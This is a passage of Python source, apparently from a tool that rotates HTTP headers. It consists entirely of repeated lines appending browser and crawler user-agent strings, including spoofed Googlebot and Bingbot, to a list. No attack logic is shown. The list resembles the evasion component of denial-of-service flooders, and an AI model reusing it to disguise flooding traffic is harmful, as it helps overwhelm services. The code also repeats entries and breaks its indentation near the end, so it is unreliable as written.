  2740.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  2741.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  2742.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  2743.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2744.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2745.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2746.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2747.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2748.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2749.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2750.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2751.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  2752.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2753.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  2754.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2755.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  2756.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  2757.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  2758.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2759.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  2760.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2761.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2762.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2763.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2764.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2765.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2766.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2767.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2768.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2769.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2770.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2771.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2772.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2773.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2774.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2775.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2776.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2777.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2778.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2779.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2780.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2781.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2782.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2783.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2784.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2785.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2786.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2787.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2788.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2789.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2790.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2791.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2792.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2793.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2794.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2795.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2796.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2797.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2798.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2799.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2800.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2801.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2802.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2803.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2804.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2805.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2806.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2807.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2808.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2809.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2810.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2811.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2812.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2813.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2814.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2815.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2816.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2817.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2818.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2819.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2820.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2821.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2822.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2823.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2824.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2825.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2826.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2827.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2828.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2829.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2830.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2831.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2832.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2833.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2834.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2835.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2836.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2837.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2838.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2839.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2840.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2841.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2842.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2843.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2844.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2845.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2846.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2847.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2848.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2849.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2850.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2851.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2852.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2853.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2854.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2855.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2856.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2857.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2858.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  2859.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  2860.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  2861.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  2862.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
  2863.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  2864.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  2865.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  2866.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  2867.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  2868.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  2869.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  2870.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  2871.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  2872.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  2873.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  2874.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  2875.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  2876.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
  2877.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
  2878.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
  2879.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  2880.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  2881.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
  2882.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  2883.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  2884.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
  2885.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
  2886.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  2887.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  2888.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  2889.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
  2890.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  2891.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  2892.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  2893.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  2894.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  2895.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  2896.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  2897.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
  2898.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  2899.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  2900.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  2901.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  2902.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  2903.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  2904.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  2905.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  2906.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  2907.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  2908.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  2909.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2910.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2911.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2912.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2913.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2914.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2915.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2916.         headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2917.         headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2918.         headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2919.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2920.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2921.         headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2922.         headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2923.         headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2924.         headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2925.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2926.         headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2927.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2928.         headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2929.         headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2930.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2931.         headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
